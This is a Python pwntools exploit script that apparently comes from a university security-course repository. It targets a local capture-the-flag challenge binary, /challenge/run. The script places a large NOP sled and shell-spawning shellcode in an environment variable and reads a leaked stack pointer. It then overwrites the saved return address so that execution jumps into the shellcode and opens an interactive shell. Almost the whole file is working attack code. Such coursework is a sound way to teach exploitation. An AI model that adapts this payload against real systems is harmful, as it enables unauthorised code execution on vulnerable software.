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https://github.com/20kaushik02/CSE545_SS_Work.git
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78 lines
2.1 KiB
Python
78 lines
2.1 KiB
Python
#!/usr/bin/env python3
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# -*- coding: utf-8 -*-
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# This exploit template was generated via:
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# $ pwn template /challenge/run
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import os
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from pwn import *
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# Set up pwntools for the correct architecture
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exe = context.binary = ELF(args.EXE or "/challenge/run")
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# Many built-in settings can be controlled on the command-line and show up
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# in "args". For example, to dump all data sent/received, and disable ASLR
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# for all created processes...
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# ./exploit.py DEBUG NOASLR
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def start(argv=[], *a, **kw):
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"""Start the exploit against the target."""
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if args.GDB:
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return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
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else:
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return process([exe.path] + argv, *a, **kw)
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# Specify your GDB script here for debugging
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# GDB will be launched if the exploit is run via e.g.
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# ./exploit.py GDB
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gdbscript = """
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tbreak main
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continue
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""".format(
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**locals()
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)
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# ===========================================================
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# EXPLOIT GOES HERE
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# ===========================================================
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# Arch: amd64-64-little
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# RELRO: No RELRO
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# Stack: No canary found
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# NX: NX unknown - GNU_STACK missing
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# PIE: No PIE (0x400000)
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# Stack: Executable
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# RWX: Has RWX segments
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# observed range of offsets from rsp to the target environment variable
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# 0x2960, 0x24b0, 0x1a20, 0x1650, 0x1410, 0x1490
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# NOP sled with comfortable room for error
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sled_len = 0x5000
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nop_sled = "\x90" * sled_len
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shellcode = asm(shellcraft.sh())
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payload = nop_sled + shellcode.decode("latin-1")
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print("Payload length:", len(payload))
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# place shellcode in environment to get around buffer limit
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# os.environ["SHELLCODE_CMD"] = payload.decode('latin-1')
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io = start(env={"SHELLCODE_CMD": payload})
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# get rsp from program
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io.recvuntil(b"pointer: ")
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rsp_line = io.recvline()[:-1]
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rsp_hex = int(rsp_line, 16)
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print("Received rsp address:", rsp_line)
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# distance to saved rip location from the array's location - check using GDB
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rip_index = b"13"
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io.sendline(rip_index)
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# target shellcode
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target_shellcode_sled = hex(rsp_hex + sled_len)[2:]
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io.sendline(target_shellcode_sled.encode())
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io.interactive()
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